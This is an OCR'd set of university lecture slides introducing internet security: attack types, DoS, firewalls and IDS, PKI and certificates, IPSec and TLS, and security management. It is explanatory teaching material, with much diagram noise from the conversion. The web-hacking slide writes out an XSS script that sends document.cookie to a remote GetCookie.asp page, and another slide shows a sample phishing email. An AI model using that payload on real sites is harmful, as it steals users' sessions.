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Major Internet Security Technologies

Firewall / IDS Internet Comm. Authentication

Protocol Stack  Security

{ SSH, PGP, SIMIME,
I SET ...

Host IDS
Application-level ﬂ:> Application
proxy

PKI
Kerberos

Circuit-level proxy :> TCP/UDP <:§SSL/TLS<_
: RADIUS

/
| IPSEC

Stateful Inspection<

Network IDS :>
(T3 PPTP/L2TP
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1. Security Attacks and Countermeasures
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Security Vulnerabilities of TCP/IP

« TCP/IP was designed for connectivity, not considering
security

« Host implementation vulnerabilities
— Software “had/have/will have” bugs

— Some elements in the specification were left to the
Implementers
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Security Attacks - Passive

« Passive attacks
— Observing the information from the system

— Release of message contents
 Sniffing, Wiretap

« TEMPEST : detecting information from Transient
Electromagnetic Pulse

— Traffic analysis

« Against passive attacks

— Difficult to detect (after they occurred), because they do
not involve any change of the data.

— Thus, they should be prevented rather than be detected.
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Security Attacks - Active

« Active attacks
— Try to alter system resources or affect their operation
— Creating illegitimate messages
« Masquerade (who)
* Replay (when)
* Modification of messages (what)
— Denying legitimate messages
* Repudiation
— Making system facilities unavailable

« Against active attacks
— Difficult to prevent, because of many new vulnerabillities.

— So, the goal is to detect active attacks and to recover as
soon as possible.
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Various Security Attacks

Information and Communications 8
University

Virus : program fragment that, when executed, attached
itself to other programs

Worm : program that replicates itself through network

Logic bomb : malicious instructions that trigger on some
event in the future, such as a particular time occurring

Trojan horse : program that does something unexpected
(and often secretly)

Trapdoor : an undocumented entry point intentionally
written into a program, often for debugging purposes,
which can be exploited as a security flaw




Attacks on Different Layers

IP Attacks
— Packet sniffing, Address spoofing, IP fragmentation attack

ICMP Attacks
— No authentication in ICMP, ICMP redirect, Collect information

Routing Attacks
— Unauthenticated routing protocols control Internet reachability

TCP Attacks
— Session hijacking, Session poisoning

Application Layer Attacks
— Applications which DO NOT authenticate properly

— Authentication information is transmitted in clear: FTP, Telnet,
POP

— DNS insecurity: DNS poisoning, DNS zone transfer
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Denial of Service (DoS, ANHIAHEZ2AH

* Objective: make a network service unusable, usually by
overloading the server or network

« Consume host resources
— TCP SYN floods
— SMURF - ICMP ECHO (ping) floods
« Consume bandwidth
— UDP floods
— ICMP floods
« Crashing the victim
— Ping-of-Death
— TCP options (unused, or used incorrectly)
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SYN Flooding Attack

 Send SYN packets with bogus source address

— Server responds with SYN ACK and keeps state about
TCP half-open connection

— Eventually, server memory is exhausted with this state

e Solution: use “SYN cookies”

— In response to a SYN, create a special “cookie” for the
connection, and forget everything else

— Then, can recreate the forgotten information when the
ACK comes in from a legitimate connection
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SMURF Attack

« SMURF

— A way of generating a lot of computer network traffic to a
victim site
— Source IP address of a broadcast ping is forged, then

large number of machines respond back to victim,
overloading it

Honey! I think
oult hetwolbk is
hav:inkg aholhel =
Amurf attack! 4
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SMURF Attack

ICMP echo (spoofed source address of victim)

Sent to IP broadcast address
ICMP echo reply

o

llll

O

Perpetrator

Internet

I I
I
—

Victim

==

i
L

Information and Communications

University

13

KIPO



Distributed DoS

* Distributed Denial of Service

— Same techniques as regular DoS, but on a much larger
scale

— Very difficult to track down the attacker
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Web Services Threats

« SQL Injections
— Special characters in queries
« Capture and Replay Attacks
— Man in the middle attacks
* DoS (resulting from a large load)
— Blow up application from inside
* Improper Error Handling
— Dump of stack trace etc
« Broken Access Control
— Take over earlier sessions tokens etc
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Web Hacking

« Web hacking
— XSS (cross site scripting)
— File upload
— Directory traversal, Directory listing
— Skipping authentication

2 2 T4 - Microsoft Internet Explorer

3
x

—_— SQL |nJeCt|0n | IE BEE EANW SHINA EAD EZSTH)

| g2 . D[ 4 Qza @EAxy B8:22 (B 5

| Z£(0) [@7 hitp//localhost/web,/ASP/bbs/board_wiite, asp =l pus ||oz
A=
s
HAHE |-
E-mail ST

H= (SS -
HTML ©EE CHIEE
<script>url="http://192.168.1.10/GetCookie.asp?

cookie="+document .cookie;window.open
(url,width=0,height=0);</script>

AP SOME2L..  (E|0H aM)
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Spyware and Adware

e Spyware

— Any technology that aids in gathering information about a
person or organization without their knowledge.

— Spyware is programming that is put in someone's
computer to secretly gather information about the user and
relay it to advertisers or other interested parties.

« Adware

— Any software application in which advertising banners are
displayed while the program is running.

— The authors of these applications include additional code
that delivers the ads, which can be viewed through pop-up
windows or through a bar that appears on a computer
screen
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Phishing
Dear Citibank Customer

Ve were unable to process the recent transactions on
WwoLIr account. To ensure that your account 15 not
suspended, please update your information by clicking
here

If vou have recntly updated your information, please
disregard this mezzage&s Wwe are processing the
changes vwou hawve made:

Links to
http://82.90.165.65/citi
Citihank Customer Service
Citibanlk Aleting Service

Citibank [alerti@bcitibanks.com]
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Social Engineering

« Social Engineering
— A collection of techniques used to manipulate people
Into performing actions or divulging confidential
Information

« People can be just as dangerous as unprotected

computer systems
— People can be lied to, manipulated, bribed,

threatened, harmed, tortured, etc. to give up valuable
Information
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Security Attacks and Their Countermeasures

* Finding a way into the network
— Firewalls
« Exploiting software bugs, buffer overflows
— Intrusion Detection Systems
* Denial of Service
— Ingress filtering, IDS
« TCP hijacking
— IPSec
« Packet sniffing
— Encryption (SSH, SSL, HTTPS)
« Social engineering
— Education

iIcuZ % _ L
Information and Communications 20
University




2. Firewall and IDS
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Firewall and IDS

IDS — Security monitor and alarm

Firewall — Security Guard
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Firewalls

« Basic problem

— Many network applications and protocols have security
problems that are fixed over time

— Difficult for general users to keep up with changes and
keep host secure

« Solution
— Administrators limit access to end hosts by using a firewall

— Firewall isolates organization’s internal network from larger
Internet, allowing some traffics specified in the policy,
blocking others.

— Firewall is kept up-to-date by administrators
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Firewalls

Two Types of Firewalls
* Packet Filter Firewall
 Application Proxy Firewall
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Packet Filter Firewalls

 Packet Filter Firewalls

— Looks at the header of each packet and compares the IP
address and port of the source and destination against its rule
base.

CLASSICAL PACKET FILTER FIREWALL

| APPLICATION |
| PRESENTATION |
| SESSION |
| |

TRANSPORT
|  DATALINK |
| PHYSICAL |
PROS CONS
« High performance = Loy Security
« Easy to configure « Mo knowledge of application vulnerabilities

+ Allows direct connection with untrusted
extaernal source
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Application Proxy Firewalls

« Application Proxy Firewall
— Full application-level awareness of attempted connections.

APPLICATION PROXY FIREWALL

APPLICATION

PRESENTATION

SESSION

DATA LINK

|
|
|
NETWO RK |
|
|

|

|

| TRANSPORT
|

|

| PHY SICAL

PROS COoONS
+ Strongest security available = Added security can negatively
« Full knowledge of wvulnerabilities at impact performance
highest layer of data stack
+ Access limited to finite set of clearly
identifiatle tasks in proxy itself

= Firewall "proxies” connection, never
allowing direct contact betwsen
trusted and untrusted systems
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Firewalls and DMZ

etc

DMZ

Web server, emall
server, web proxy,

it cannot affect internal hosts

Information and Communications
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Intrusion Detection System

* Firewall problems
— Firewalls allow traffic only to legitimate hosts and services

— Traffic to the legitimate hosts/services can have attacks
(CodeReds on 1IS)

e Solution?
— Intrusion Detection Systems
— Monitor data and behavior
— Report when identify attacks
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Intrusion Detection System

« Used to monitor for “suspicious activity” on a network

— Can protect against known software exploits, like buffer
overflows

« Uses “intrusion signatures” (Well known patterns of
behavior)

— Ping sweeps, port scanning, web server indexing, OS
fingerprinting, DoS attempts, etc.
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SNORT

* Open Source IDS: Snort,

HAUE) HA(E) B2V 0s(E) MZO(RBR) =3I FHW)
@ - - . A - i i i =t =% .
s?é %ﬁ%’i MDA §§,‘ I& http://127.0.0.1/acid/acid main.php Iv”é_g DII o o
3= | WAL PRed Hat Network E%Support @Shop @4Products 4 Training
-~
Analysis Console for Intrusion Databases
Added 4 alert(s) to the Alert cache
Queried on : Sun September 07, 2003 02:51:14
Database: snont@ (schema version: 106)
Time window: [2003-09-07 02:50:27] - [2003-09-07 02:50:33]
Sensors: 1 Traffic Profile by Protocol o
Unique Alerts: 3 (2 categories ) TCP (75%) z
Total Number of Alerts: 4
e Source IP addresses: 2 UDP (0%)
® Dest. IP addresses: 1
® Unique IP links 2 ICMP (25%)
® Source Ports: 2
o TCP (2) UDP (0)
® Dest. Ports: 2 Portscan Traffic (0%)
o TCP (2) UDP (0)
¢ Search
¢ Graph Alert data
¢ Snapshot
¢ Most recent Alerts: any protocol, TCP, UDP, ICMP ¢ Most frequent 5 Alerts
& Today's: alerts unique, listing; IP src [ dst
e Last 24 Hours: alerts unique, listing; IP src / dst ¢ Most Frequent Source Ports: any , TCP , UDP
e Last 72 Hours: alerts unique, listing; IP src / dst * Most Frequent Destination Ports: any , TCP , UDP
*:MOsEIecent 15 Uniique. Alerks ¢ Most freauent 15 addresses’ source. destination E
% & 2 B | MR

| I-ib-lﬁﬂl
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http://www.snort.org/

Intrusion Prevention System

* Intrusion Prevention System

— A system located on the network that monitors the network
for issues like security threats and policy violations, then
takes corrective action.

— Combine the roles of firewall and IDS

« |PS can detect and block:
— 0OS, Web and database attacks
— Spyware / Malware
— Instant Messenger
— Peer to Peer (P2P)
— Worm propagation
— Critical outbound data loss (data leakage)
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3. Authentication and Certification
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Authentication

« Entity Authentication (Identification)

— Over the communication network, one party, Alice, shows
to another party, Bob, that she is the real Alice.

— Authenticate an entity by presenting some identification
Information

— Should be secure against various attacks
— Through an interactive protocols using secret information

« Message Authentication
— Show that a message was generated by an entity
— Using digital signature or MAC

Icu’g
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3 Approaches for Identification

« Using Something Known
— Password, PIN

« Using Something Possessed
— |IC card, Hardware token

« Using Something Inherent
— Biometrics

Information and Communications
University
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"ﬂlﬁ\ RSA SecurlD
Or=
-

Two-factor authentication is based
on something you know (a
password or PIN) and something
you have (an authenticator)




ldentification Schemes

« Password-based scheme (weak authentication)
— crypt passwd under UNIX
— one-time password
« Challenge-Response scheme (strong authentication)
— Symmetric cryptosystem
— MAC (keyed-hash) function
— Asymmetric cryptosystem
« Using Cryptographic Protocols
— Fiat-Shamir identification protocol
— Schnorr identification protocol, etc
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ldentification by Password

Prover Verifier

passwd table

passwd, A
A o o ® o
» A |h(passwd)
® ® ® O
» h
passwd

Sniffing attack
Replay attack - Static password
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S/Key (One-Time Password System)

‘ client I ‘ Host I

Hash function f() Hash function f()
pass-phrase S pass-phrase S
compute
f(s), f(f(9)),....,
X1,X2,X3, ...,XN
Initial Setup store\XN+1
r‘\ =ogn D X 6. compare
d\ (—ZN /. store I
4. XN N

3. compute fN(S) = XN =——— 5. compute f(XN) = XN+1
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Schnorr Identification

x=log, Y mod p, (Y =g* mod p)

Prover Verifier
teg £,
Commitment
R=g"mod p R = )
) u Challenge Uecg Zq
w=t—-uxmodq W Response _
R=g"Y"mod p
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Identification using Biometric Trails
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Certificate-based Authentication

¢ Digital Certificate

v" A file containing Identification ®
information (CA’s name (Issuer), , J
Alice:s namt-a (Subject), valid ;_)e_riod, ISSjgjeercEcéﬁl)ice)
Alice’s public key, etc) and digital Valid period
signature signed by trusted third party y y 7 Alice’s pub. Key
(CA) to guarantee its authenticity & Hash Algorithm<
integrity

Hash
% Certificate Authority (CA) 1

for passports Trusted

_ _ private key

v' CA authenticates that the public key I
belongs to Alice

v' CA creates Alice’s a Digital Certificate

ICU . . .
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Certificate-based Authentication

General | Details | Certification Path |

.
Certificate Information

<3 VeriSign - RBelying Party Agreement - M =10l x|

J File Edit “iew Favortes Tool:  Help

l"‘ x>
j <= L E; - @ ﬁ ‘ @ @ This certificate is intended to:
Back Farward Stop Refresh Haome Search  Fawvonites +Guarantes the identity of a remots computer

J.-'l'-.gldress @ hittps: A fwen verizign. comrepozitony/rpa. html j ﬁGD

Home Search  Products  Support -

* Refer to the certificate issuer's statement for details.
sHome | Repositany | RPA

Issued to:  vawws ameritrade. com

VeriSign Relying Party Agreement

Issued by: Secure Server Certification Authority

YOU MUST READ THIS RELYING PARTY AGREEMENT BEFORE VALIDATING
A VERISIGN TRUST NETWORKSM DIGITAL CERTIFICATE {"CERTIFICATE")
OR USING VERISIGN'S OCSP SERVICES OR OTHERWISE ACCESSING OR
USING VERISIGN'S DATABASE OF CERTIFICATE REVOCATIONS AND

Valid from E/2/00 to £/3/01

OTHER INFORMATION ("REPOSITORY") OR ANY CERTIFICATE REVOCATION (nstall Eaitficaiz. | Issuer Statement.. |

o e oo o ..nTrnn,,;rI

|@ H p Intermet i
\

Data encrypted using shared secret key
exchanged using some public key
associated with some certificate.

icuZ 4 _ S G
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Certificate

Certificate

General [Details | Certification F'athl

Show: [Version 1 Fields Only -]
Field | Value
E"-ﬂ'ersinn W3

= Public Key

E Senial Murnber
E Signature Algarithinm
E lssuer

[=]valid From

[F]vald Ta
E Subject

1CCACAE F38E 17EZ2 FR1B 2.

shalR54

Secure Server Certification Aut..
Thursday, June 08, 2000 3:00:...
Saturday, June 09, 2001 7:59:5...
wianwz, ameritrade. com, Terms o...

RS54 (1024 Bits]

2081
EBFC
ZBES
A744
2902
C74cC
4092
5406

902
SDFF
1C354
366D
9AEE
59CE
0814
1491

8151
E194
5432
JCC2
4256
3747
C374A
2474

O0ED
FALT
EF40
3311
EE3E
DC16
4705
7EFF

257E
2A3E
094z
Dos2
CACZ
AFa8
9157
£302

85E4 E34D
OBSD 2496
2051 133E
SCDD D324
E765 G4bC
4832 7403
FOYE A1SE
0301 o001

Edit Broperties...

D7F3
036E
a21E0
4BE3
3882
0734
JECE

Copy ta File...

9F4E
194E
ZFE8
A8C3
0258
A8F1
E173

ak.
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X.509 V3 Certificate Format

Certificate ::= SEQUENCE {

tbsCertificate TBSCertificate,
signatureAlgorithm Algorithmlidentifier,
signatureValue BIT STRING }

TBSCertificate ::= SEQUENCE {

version [0] EXPLICIT Version DEFAULT v1,

serialNumber CertificateSerialNumber,

signature Algorithmlidentifier,

iIssuer Name,

validity Validity,

subject Name,

subjectPublicKeylnfo SubjectPublicKeylnfo,

issuerUniquelD [1] IMPLICIT Uniqueldentifier OPTIONAL,
-- If present, version shall be v2 or v3

subjectUniquelD [2] IMPLICIT Uniqueldentifier OPTIONAL,
-- If present, version shall be v2 or v3

extensions [3] EXPLICIT Extensions OPTIONAL

-- If present, version shall be v3

iIcuZ % _ L
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Sample Certificate

Certificate:
Data:
Version: v3 (0x2)
Serial Number: 3 (0x3)
Signature Algorithm: PKCS #1 MD5 With RSA Encryption
Issuer: OU=Ace Certificate Authority, O=Ace Industry, C=US
Validity:
Not Before: Fri Oct 17 18:36:25 1997
Not After: Sun Oct 17 18:36:25 1999
Subject: CN=Jane Doe, OU=Finance, O=Ace Industry, C=US
Subject Public Key Info:
Algorithm: PKCS #1 RSA Encryption
Public Key:
Modulus:
00:ca:fa:79:98:8f:19:f8:d7:de:e4:49:80:48:e€6:2a:2a:86:

ed:27:40:4d:86:b3:05:¢0:01:bb:50:15:¢9:de:dc:85:19:22:

43:7d:45:6d:71:4e:17:3d:f0:36:4b:5b:7f:a8:51:a3:a1:00:
98:ce:7f:47:50:2¢:93:36:7¢:01:6e:¢ch:89:06:41:72:b5:€9:
73:49:38:76:ef:b6:8f:ac:49:bb:63:0f:9b:ff:16:2a:e3:0e:

9d:3b:af.ce:9a:3e:48:65:de:96:61:d5:0a:11:2a:a2:80:b0:

7d:d8:99:¢bh:0c:99:34:¢9:ab:25:06:a8:31:ad:8c:4b:aa:54:

91:f4:15
Public Exponent: 65537 (0x10001)
Extensions:
Identifier: Certificate Type
Critical: no
Certified Usage:
SSL Client
Identifier: Authority Key Identifier
Critical: no
Key Identifier:
f2:f2:06:59:90:18:47:51:f5:89:33:5a:31:7a:e6:5c¢:fb:36:
26:¢9

Signature:

Algorithm: PKCS #1 MD5 With RSA Encryption
Signature:

6d:23:af:f3:d3:b6:7a:df:90:df:cd:7e:18:6¢:01:69:8e:54:65:fc:06:
30:43:34:d1:63:1f:06:7d:c3:40:a8:2a:82:c1:a4:83:2a:fb:2e:8f:fb:
f0:6d:ff:75:a3:78:f7:52:47:46:62:97:1d:d9:¢c6:11:0a:02:a2:e0:cc:
2a:75:6¢:8b:b6:9b:87:00:7d:7¢:84:76:79:ba:f8:b4:d2:62:58:¢3:c5:
b6:c1:43:ac:63:44:42:fd:af.c8:0f:2f:38:85:6d:d6:59:€8:41:42:a5:
4a:e5:26:38:ff:32:78:a1:38:f1:ed:dc:0d:31:d1:b0:6d:67:€9:46:a8:

dd:c4

MIICKzCCAZSgAwIBAgIBAzANBgkghkiGOWOBAQQFADA3MQswCQYD
VQQGEWJIVUZERMABGA1UEChMITmVO0c2NhcGUXFTATBgNVBASTDF
N1cHJpeWEncyBDQTAeFwWO5NzEWMTgwMTM2MjVaFw050TEWMTgw
MTM2MjVaMEgxCzAJBgNVBAYTAIVTMREwWDwWYDVQQKEwWhOZXRzY
2FWZTENMASGA1UECXMEUHViczEXMBUGA1UEAXMOU3VwemI5YSB
TaGV0dHkwgZ8wDQYJKoZIhveNAQEFBQADgY0AMIGJA0GBAMréeZiP
GfiX3uRJgEjmKigG7SdATYazBcABulAVyd7chRkiQ31FbXFOGD3wNktb
f6hRO6EAMM5/R1AskzZ8AW7LIQZBcrXpcOk4du+2Q6xJu2MPm/8WKuM
OnTuvzpo+SGXelmHVChEgooCwfdiZywyZNMmrJgaoMa2MS6pUkfQVAg
MBAAG)NJAOMBEGCWCGSAGG+EIBAQQEAWIAgDAfBgNVHSMEGDAW
gBTy8gZZkBhHUfWJM1loxeuZc+zYmyTANBgkghkiGOWOBAQQFAAOBQgQ
Bt16/2072635DfzX4 XbAFpjIRI/AYWQzTSYXx8GfcNAgCgCwaSDKvsuj/vwbf
9103j3UkdGY pcd2cYRCgKi4MwqdWyLtpuHAH18hHZ5uviOOmJYw8W2w
UOsYORC/a/IDy84hW3WWehBUqVK5SY4/2J40Tjx7dwNMdGwbWfpRagjd
1A==

/4
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How to Revoke a Certificate?

+» Certificate Revocation List (CRL)
*» A digital document which has a list of revoked certificates
s Signed by CA
¢ Defined in X.509 v2

s Why revoke a certificate?
* When the user leave (retire from) the organization
¢ Lost the private key, need to use a new key

icuZ 4 _ S G
/ Information and Communications 45

University KIPO



ICU

Certificate Revocation List

Certificate Revocation Lisk

Gzeneral |Rew:u:atiu:un List |

2l xi

E! Certificate Reyvocation List Information

Field | YWalue |
E'u'ersin:-n W1

Elssuer WeriSign Commercial Software Publisher. ..
[Eleffective date Mondar, Ockober 01, 2001 5:00:07 AM
[Elnest update Thursday, October 11, 2001 5:00:07 AM
ESignature algorithm mdSRSA

«| |+
'u'_glue:

Certificate Revocation List
General Fewocation List |

Revaked certificates:
Serial number | Revocation date | il
7019 AACT 5401 3292 ... wWednesday, May 03, 2000 5:19:20 PM

; i 003F F284 A0AS .., Tuesday, March 27, 2001 9:50:49 AM

7034 71ET 5193 3062 ... Wednesday, April 11, 2001 3:34:05 AM

704E D594 4403 4600 ... Monday, May 21, 2001 2:57:32 PM i

F04F DeSC BO10 9E95 ...

FOCN M2E2? adns A2 2d Wadracdzw Dacarmbar N8 2000 004

—Revocation entry

Tuesday, &pril 03, 2001 12:54:44 PM LI

Field | Yalue |

Setial number F038 003F F284 A0AS 830F 4EFA 4.,
Revocation date Tuesday, March 27, 2001 9:50:49 4M

‘alue:

Information and Communications
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Public Key Infrastructure (PKI) Architecture

PKI is the hardware, software, people, policies, & procedures
needed to create, manage, store, distribute, & revoke certificates

Cert/CRL
repository

<

-~

Operational / Management Q?\m_j_ v

Transactions

y

*| End entity

I Management

Transactions
- — RA |«
Certificate : .
publish Registration
Authority

a

v \ 4

PKI users

PKI management
entity

Certificate / CRL publish

CA

Certificate
Authority

Information and Communications
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How a PKI works?

Applications and
other users

CA signs a valid request Directory L

- : R n. —E
. H i i ‘ Cert iS pUb“Shed \ :_
in Directory ? |
Certificate VRN
Request

Send the signed =

request back to RA e

N ;

RA auummmm

pun®
““ wett
A
- "‘ . - - -
RA delivers the . Applications using Certificates can :
. g .
Certificate to user e « Look up certificate details

T L * Perform revocation checks
» Check certificate validity
» Check signatures
* Decrypt data

Generate Registration Info & Keypair
Send the Public Key and Registration Info to RA

ICU . .
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PKI Hierarchy - Trust Relationship

Userl UserZ

Hierarchical Structure Network Structure

icy : L
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EnEra gtaile  Certification Path . . .
Sl o et | Certification Path

Leneral | Details | Certification Path |

Certification path

Leneral I Detailsl Certification P'athl
N
'i*‘_‘-. Certificate Information & \\ This certificate is intended to:
N sGuarantes the identity of a rermote compter

‘.eu.a:'h.- i -
t.=—-4 Certificate Information

Thiz certificate iz intended to:
+Guarantes the identity of a remate computer

L

* Refer to the certificate izsuer's statement for details.

Izsued to:  Secure Server Certification Autharity

Iszued bo: vz amentrade. com

Izzued by: Secure Server Certification uthoriby
lzsued by: Secure Server Certification Authority

Valid from 11/3/94 to 1/7110
Valid from E/5/00 to E/3/01

! Inztall Certificate. . | |zzuer Statemert... | |ssuer Statement... |

| — G
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Korean PKI Structure

MAIM T ol = ata| M E

O - O —

http://www.kisa.or.kr/kisa/kcac/jsp/kcac.jsp

SN B2l { | Aém;}m
L EmemE gvesm oSSR

e B
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Korean PKI Structure

A E Y Hazx=2| -0 2|stof X[ M= SelelS7| 2
« St 2 21 E(F) http://www.signgate.com

« (F)Z A Z http://lwww.signkorea.com

o
4l
02 1l
H
>
fob
>
{0
=
g
)
«Q
=
>
)
©
9
iy

(%) http://gca.crosscert.com

£
A 2 S A http://www.tradesign.net
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4. Communications Security
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Lots of Communications

] Securing
Bill J
Payment Credential Shopping Area

.

LY : m

ISSUER ACQUIRER

BANK Authorization & BANK
Clearing Network

IcU : S
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Client

Key
Exchange
Engine

|

Security
Service
Engine

Communications Security Protocols

— Key Exchange Phase -

= Security session establishment
= Heavy public key operations

Data Transfer Phase

= Security services
» Bulk data encryption/authentication

s Examples: IPSec, SSL/TLS/WTLS, SSH ...

Information and Communications
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Server

Key
Exchange
Engine

|

Security
Service
Engine




Virtual Private Network (VPN)

Secure connectivity deployed on a shared communication infrastructure
with the same security policies and performance as a private network

) |

Customers Main
Office

Supplier

Virtual Private e
Network

” /@ * Point of presence

ooooo | R ) “
00000 Y
00000 (Y
0ooon “‘

0oooo
00000
00000

Business (

Partner e “
any

Remote Regional Home Mobile

Office Office Office  Worker

ICU . L G
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VPN Business Applications

Intranet VPN

Low Cost, tunneled
connections with Z
IPSec encryption

and QoS to ensure

security and

reliability

», Home

Cost Savings over
Frame Relay and
Leased Lines

Remote
Office

Extranet VPN Remote Access VPN

Allows contro!led Secure tunnels across a
access to busm_ess Public Network with VPN
partners, suppliers client software
and customers
) Cost Savings over long
Provides low-cost, Business distance calls
secure E-commerce Partner Mobile
infrastructure

Worker
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IPSec: IP-layer Security Protocol

O Two Security Protocols

» AH primarily for authentication and optional anti-replay service
v Mandatory-to-implement algorithms: HMAC-MD5, HMAC-SHA1
» ESP primarily for confidentiality and optionally AH functionality (with
limited protection range)
v’ Mandatory-to-implement algorithms:
— DES-CBC (de facto: 3DES-CBC), NULL Encryption algorithm
— HMAC-MD5, HMAC-SHAL, NULL Authentication algorithm
» AH & ESP are vehicles for access control

0 Key Management
» ISAKMP defines procedures and payload formats for security
association (SA) / key management
» Default automated SA/key management protocol for IPSEC:
— IKE (Internet Key Exchange) under IPSEC DOI

O Two Modes of Operations

» Transport mode protects primarily upper layer protocols
» Tunnel mode protects primarily tunneled IP packets




Operations of IPSec

DOI DOI
definition definition

A A

| ISAKMP/IKE SA |

Appl.process| | ISAKMP ISAKMP/IKE traffic ISAKMP | [Appl.process
Appl.protocol IKE IKE Appl.protocol
I A A A

Y

Socket Layer Protocol SAs Socket Layer
TCP/UDP AH — AH TCP/UDP
Link Layer Protocol Link Layer Protocol

Phase | (ISAKMP SA) : SA negotiation between two ISAKMP servers

Phase Il (Protocol SA) : SA negotiation for other security protocols
(e.g., IPSEC AH) under the protection of ISAKMP SA

ICU . .
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IPSec Mode of Operations

Transport Mode vs. Tunnel Mode

Transport Mode
(Host-to-Host)

Security
Gateway

Tunnel Mode
(Gateway-to-Gateway,
Gateway-to-Host)
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IPSec Mode of Operations

Tunnel Mode

between gateways and/or hosts

New IP HDR IPSEC HDR IP HDR

Transport Mode

between two end hosts

IPHDR IPSEC HDR

~—~— To Be Protected ———

ICU . S G
Information and Communications 61 X
University KIPO



Authentication Header (AH)

Original IP Packet
IP hdr TCP hdr Data

AH Transport Mode Protected Packet

IP hdr AH hdr TCP hdr Data

Je Authenticated >|
(except for mutable fields)

AH Tunnel Mode Protected Packet

new IP hdr AH hdr IP hdr TCP hdr Data

|« Autheriticated |

AH Header Next Hdr | Payload Len RESERVED

Security Parameters Index (SPI)

Sequence Number Field

HMAC-MD5-96
Authentication Data (variable) HMAC-SHA1-96
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Encapsulating Security Payload (ESP)

Original IP Packet

ESP Transport Mode Protected Packet

l<

ESP Tunnel Mode Protected Packet

ESP trir ESP auth

Encrypted >
Authenticated -

A

ESP trir ESP auth

v V.

ESP Header Security Parameters Index (SPI)

Sequence Number

Padding(0-255 bytes)

ESP Trailer Payload Len Next Hdr

Y ~ZHMAC-MD5-96
ESP Auth Authentication Data (variable) < HMAC-SHA1-96 ...
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TLS: Transport Layer Security

3 IWSEC2007 - Instructions - Microsoft Internet Explorer

oEE HEE E2AW

Q- O

SAFRINA) =D E=SH)

B Lmkow @3 e Rl B

é (D) L@] https://www, iwsec, org/iChair/review

Google G+ ClientHello
@ st - o m=zs

BQos 2 »
Ve B | % EARIy BaREE | CPAMN -2 o[ 28T G @ &
LOUTAON Ty BHEII0n I @ SUAHE o UEUS2BY HBH (@ T | <

v

I\WSEC2007
Main Page
Submission Form
Revision Form
Withdrawal Form

About iChair

Current Time
UTC Time
16 Jul 07 - 10:32
Submission deadline

UTC Time
20 Apr 07 - 14:59

Time left

Time is up!

?fszczoo;#i*

in Nara

IWSEC2007 - Instructions

Welcome to the iChair Submission server for [WSECZ007,

Submitting a New File

c.orglil 32

Use the Submission Form to submit a new art
change it afterwards, Your submission must b

ill not be possible to

Please have a look at the Call for Papers and a

Reviewer
e : : ARZ AR OIS
Modifying a Previous Submissi = [ =
SE(E): [ [
At any time you can modify your submission i E] 245 HZEHR) iven to you upon the
first submission and was also emailed to the co ion deadline.
: " T (= J[ =as ]
Withdrawing a Submission

You have the possibility to withdraw a submission from the conference with the Withdrawal Form. As for the revisions, you will need to
provide the unique ID which was given to you upon the first submission and was also emailed to the contact author. Note that once a paper
has been withdrawn it will not be possible to "un-withdraw" it: you will need to submit it again.

00
@aX

W3C XM WAC s p

~

&] https://www.iwsec, org/iChair/review HOIF = E...
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Secure Sockets Layer (SSL)

« Transport layer security to any TCP-based app. using
SSL services.

— used between Web browsers and Web servers for e-
commerce (https).

e Security services:
— server authentication
— data encryption
— client authentication (optional)
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Transport Layer Security (TLS) Protocol

Q SSL/TLS
» Layered on top of reliable transport protocols, e.g., TCP
» Application protocol independent
» Record Protocol & Handshake Protocol

HTTP, FTP...

. 1

Q Record Protocol SSL/TLS
» Encapsulation of higher level protocols
» Data encryption using CBC block ciphers or stream l
ciphers
» Data integrity using HMAC TCP
O Handshake Protocol l
» Security parameter negotiation: keys & algorithms Ip
» Entity authentication using public key cryptography
(RSA, DSS; static DH)
» Key exchange & verification
(RSA key transport, DH key exchange) P hdr ITcp hdrltLs harl Data
5 bytes
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TLS Full Handshake

TLS mandatory cipher suite

TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA

propose acceptable ClientHello ={V, R¢, SID, CS, CM}
cipher suites g choose cipher suite and
ServerHello = {Vg, Ry, SID, CS, CM},  Prepare key exchange
Certificate*, parameters

ServerKeyExchange*,
CertificateRequest?,
ServerHelloDone

A

verify parameters, and

prepare own key exchange Certificate*,
and verification ClientKeyExchange,
parameters CertificateVerify*,
[ChangeCipherSpec],
Finished
] Complete authentication
[ChangeCipherSpec], of client (if possible)
) Finished
complete authentication
of server Application Data
@ rTEEEEsEEEEEEEEEEEEEEEEEEEEEEEsEEEEEEEsEEEEEEEESE 'S
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TLS Record Protocol

-

l Transmit
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Compress Y

/

> Optional




IPSec vs. SSL/TLS

IPSec

* Network layer security protocol
» Confidentiality, Integrity, Authentication, Access control, Auditing

» Transport protocol independent

* No change to applications (application/user transparency)

* Peer-to-Peer model: Host-to-Server, Host-to-Subnet, Subnet-to-Subnet
* More secure; too complex, special client SW

* IPv4 (optional), IPv6 (mandatory) HTTP,FTP...
SSLITLS
TCP/UDP
IPSEC
SSL/TLS P

» Transport layer security protocol

» Confidentiality, Integrity, Authentication (usually client-to-server only)

» Works only with TCP (not UDP): HTTP, SMTP, POP3, NNTP, FTP, LDAP...
* Minimal changes to applications

* Client-Server model: Host-to-Server (secure Web transactions)

* Free : built in to nearly all browsers and Web servers
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5. Security Management
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Corporate Information Security

C

Network Security

Firewall/

VPN = E

IDS

DMZ

Mail Security/
Web Security

C

&

SSO/EAM

Internal Servers

1 T
UEGEGUE .

PC Security

Anti—Virus
PC Security

¥
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Server Secur v
Secure OS

Consulting/

Threat Analysis
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h First
Defense

Simplified Security Diagram

Second Third : Fourth
Defense Defense Defense

r e s r

Firewall IDS Application Data
(Intfrusion Detection |Server protection Protection
System)

e Protect « Network traffic *Security for * 1024Dit/
infrusion filtering cleeers 128pit
from the «Clear *Log encryption
outside monitoring management ( RSA/SEED )
the wall *Network conftrol
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Understanding Defense-in-Depth

Using a layered approach:
* |[ncreases an attacker’s risk of detection
 Reduces an attacker’s chance of success

/ / \\ Strong passwords, ACLs,

Data backup and restore
: strategy
Application Application hardening
OS hardening, authentication,
Host security update management,
: antivirus updates, auditing
Internal network Network segments, NIDS
. Firewalls, boarder routers, VPNs
‘ Perimeter J with quarantine procedures
\_ Physical security T Guards, locks, tracking devices
\PolicieS, procedures, and awareness — Sgﬁg;'tti%ﬁo"c'es’ procedures, and
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Managing Secu

Legal, Regulatory
Business

Requirements %

rity

Implement
Appropriate
Policy & Controls

Identify Assets
& Threats C

Assess Risk
& Determine
Needs

Risk Analysis

Q

Security Advisorie&
and Results of

Audits & Monitoring
(Vulnerabilities)

ICU . .
Information and Communications
University

|}

Central
Security
Management

|

Provide Security
Awareness,

Training &

Education

Monitor
